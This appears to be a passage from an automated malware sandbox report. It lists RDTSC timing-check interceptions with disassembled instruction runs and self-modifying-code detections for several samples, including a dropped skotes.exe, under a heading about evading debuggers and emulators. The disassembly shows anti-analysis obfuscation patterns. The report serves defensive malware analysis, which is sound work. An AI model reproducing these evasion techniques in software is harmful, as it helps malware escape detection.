Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8C561A second address: 8C5626 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4348DC2F96h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8C5626 second address: 8C5631 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pop ebx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8C975A second address: 8C975E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8C981C second address: 8C9820 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8C9820 second address: 8C9826 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8C98EC second address: 8C98F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8CAC97 second address: 8CAC9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8CD3D3 second address: 8CD3E2 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4348BCFDE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8CD3E2 second address: 8CD461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007F4348DC2FA1h 0x0000000c nop 0x0000000d add dword ptr [ebp+12460083h], eax 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 call 00007F4348DC2F98h 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], ebx 0x00000022 add dword ptr [esp+04h], 00000017h 0x0000002a inc ebx 0x0000002b push ebx 0x0000002c ret 0x0000002d pop ebx 0x0000002e ret 0x0000002f pushad 0x00000030 mov edi, dword ptr [ebp+122D2E1Ah] 0x00000036 call 00007F4348DC2FA8h 0x0000003b mov eax, dword ptr [ebp+122D2BF6h] 0x00000041 pop edi 0x00000042 popad 0x00000043 mov edi, 397ADBD4h 0x00000048 push 00000000h 0x0000004a mov edi, dword ptr [ebp+122D2CE6h] 0x00000050 xchg eax, ebx 0x00000051 push eax 0x00000052 push edx 0x00000053 jbe 00007F4348DC2F98h 0x00000059 push ecx 0x0000005a pop ecx 0x0000005b rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8CD461 second address: 8CD46F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8CD46F second address: 8CD48A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4348DC2F96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4348DC2F9Fh 0x00000011 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8CDE59 second address: 8CDECA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348BCFDF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov esi, dword ptr [ebp+122D2AF2h] 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007F4348BCFDE8h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 0000001Dh 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c push 00000000h 0x0000002e ja 00007F4348BCFDECh 0x00000034 xchg eax, ebx 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F4348BCFDF5h 0x0000003c rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8CE97A second address: 8CE97E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8CE97E second address: 8CE984 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8D1CAD second address: 8D1CB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8D1CB1 second address: 8D1CB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8D3B8F second address: 8D3B93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8D4AA1 second address: 8D4AA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8D4AA5 second address: 8D4AB6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 pushad 0x00000009 jl 00007F4348DC2F9Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8D5A14 second address: 8D5A18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8D6B00 second address: 8D6B18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4348DC2FA4h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8D8ABD second address: 8D8B39 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4348BCFDE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jno 00007F4348BCFDECh 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 jng 00007F4348BCFDECh 0x00000019 jne 00007F4348BCFDE6h 0x0000001f jmp 00007F4348BCFDF6h 0x00000024 popad 0x00000025 nop 0x00000026 push 00000000h 0x00000028 push edi 0x00000029 call 00007F4348BCFDE8h 0x0000002e pop edi 0x0000002f mov dword ptr [esp+04h], edi 0x00000033 add dword ptr [esp+04h], 0000001Dh 0x0000003b inc edi 0x0000003c push edi 0x0000003d ret 0x0000003e pop edi 0x0000003f ret 0x00000040 mov dword ptr [ebp+122D2FD8h], eax 0x00000046 push 00000000h 0x00000048 sub bh, FFFFFF86h 0x0000004b push 00000000h 0x0000004d xor bl, 00000078h 0x00000050 xchg eax, esi 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 jnc 00007F4348BCFDE6h 0x0000005a rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8D9A7D second address: 8D9AC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348DC2F9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c movsx edi, cx 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007F4348DC2F98h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 00000015h 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d or dword ptr [ebp+122D34BBh], ebx 0x00000033 xchg eax, esi 0x00000034 push eax 0x00000035 push edx 0x00000036 jbe 00007F4348DC2F98h 0x0000003c pushad 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8D9AC6 second address: 8D9ACC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8DA9E0 second address: 8DA9EA instructions: 0x00000000 rdtsc 0x00000002 js 00007F4348DC2F96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8DAA98 second address: 8DAAAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348BCFDF2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8DAAAE second address: 8DAAB3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8DAAB3 second address: 8DAAB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8DBB87 second address: 8DBBA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4348DC2FA7h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8DDC37 second address: 8DDC3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8DDC3B second address: 8DDCA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007F4348DC2F98h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 mov bx, 0E00h 0x00000028 mov di, cx 0x0000002b push 00000000h 0x0000002d mov dword ptr [ebp+124601DFh], edi 0x00000033 push 00000000h 0x00000035 pushad 0x00000036 mov dword ptr [ebp+122D1F63h], ebx 0x0000003c mov eax, dword ptr [ebp+122D2D82h] 0x00000042 popad 0x00000043 xchg eax, esi 0x00000044 jmp 00007F4348DC2FA8h 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c jne 00007F4348DC2F98h 0x00000052 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8DEC5A second address: 8DEC5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8DEC5F second address: 8DEC70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4348DC2F9Dh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8DFC92 second address: 8DFC98 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8CD15B second address: 8CD16E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4348DC2F9Eh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8CD16E second address: 8CD191 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348BCFDEDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4348BCFDEEh 0x00000012 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8EA42C second address: 8EA43F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4348DC2F96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b js 00007F4348DC2F96h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8CDC4F second address: 8CDC66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push edi 0x00000006 pop edi 0x00000007 pop ecx 0x00000008 popad 0x00000009 push eax 0x0000000a pushad 0x0000000b push ecx 0x0000000c jg 00007F4348BCFDE6h 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8CDC66 second address: 8CDC6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8CE6FD second address: 8CE714 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 js 00007F4348BCFDF4h 0x0000000f push eax 0x00000010 push edx 0x00000011 jp 00007F4348BCFDE6h 0x00000017 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8F43E5 second address: 8F43ED instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8F43ED second address: 8F43FF instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4348BCFDECh 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8F43FF second address: 8F441E instructions: 0x00000000 rdtsc 0x00000002 js 00007F4348DC2F96h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jo 00007F4348DC2F96h 0x00000017 push esi 0x00000018 pop esi 0x00000019 push esi 0x0000001a pop esi 0x0000001b popad 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8F441E second address: 8F4424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8F4424 second address: 8F4429 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8F4429 second address: 8F4454 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4348BCFDFAh 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4348BCFDEDh 0x0000000f rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8F4454 second address: 8F4458 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8F49DA second address: 8F49FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jno 00007F4348BCFDE6h 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F4348BCFDF2h 0x00000015 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8F4B4B second address: 8F4B51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8F4B51 second address: 8F4B55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8F4CF2 second address: 8F4CF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8F4EA7 second address: 8F4EBE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4348BCFDF0h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8F5328 second address: 8F532F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8F532F second address: 8F5337 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8F5486 second address: 8F5490 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F4348DC2F96h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8F5490 second address: 8F5494 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8F5494 second address: 8F54A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8F8574 second address: 8F8578 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8F8578 second address: 8F8594 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348DC2FA8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8F8594 second address: 8F85A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348BCFDEAh 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8FE26C second address: 8FE283 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jl 00007F4348DC2F96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f jc 00007F4348DC2F96h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8FE283 second address: 8FE288 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8FE288 second address: 8FE28D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8FE28D second address: 8FE29C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8FE29C second address: 8FE2AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007F4348DC2F96h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8FE2AB second address: 8FE2AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8FE2AF second address: 8FE2BD instructions: 0x00000000 rdtsc 0x00000002 js 00007F4348DC2F96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8FE2BD second address: 8FE2C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8FD5A7 second address: 8FD5AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8FD5AB second address: 8FD5DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jbe 00007F4348BCFDEEh 0x0000000e pop ecx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F4348BCFDF7h 0x00000017 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8FD5DC second address: 8FD5F0 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4348DC2F96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8FD5F0 second address: 8FD5F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8FCC55 second address: 8FCC59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8FCC59 second address: 8FCC7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F4348BCFDF7h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8FCC7A second address: 8FCC93 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348DC2FA5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8D8C7B second address: 8D8CEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push eax 0x0000000a mov ebx, dword ptr [ebp+122D2367h] 0x00000010 pop ebx 0x00000011 push dword ptr fs:[00000000h] 0x00000018 push edi 0x00000019 mov di, 025Ah 0x0000001d pop edi 0x0000001e mov dword ptr fs:[00000000h], esp 0x00000025 clc 0x00000026 mov eax, dword ptr [ebp+122D00F5h] 0x0000002c jg 00007F4348BCFDF7h 0x00000032 jnp 00007F4348BCFDF1h 0x00000038 push FFFFFFFFh 0x0000003a push 00000000h 0x0000003c push esi 0x0000003d call 00007F4348BCFDE8h 0x00000042 pop esi 0x00000043 mov dword ptr [esp+04h], esi 0x00000047 add dword ptr [esp+04h], 0000001Dh 0x0000004f inc esi 0x00000050 push esi 0x00000051 ret 0x00000052 pop esi 0x00000053 ret 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 push edi 0x00000058 push edx 0x00000059 pop edx 0x0000005a pop edi 0x0000005b rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8D9C80 second address: 8D9C96 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F4348DC2F9Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7EF8F1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 987E29 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7ED2C2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A0DF70 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Special instruction interceptor: First address: 71EBE4 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Special instruction interceptor: First address: 71ED08 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Special instruction interceptor: First address: 8BE6CE instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Special instruction interceptor: First address: 8C772C instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Special instruction interceptor: First address: 948826 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: E4EBE4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: E4ED08 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: FEE6CE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: FF772C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 1078826 instructions caused by: Self-modifying code
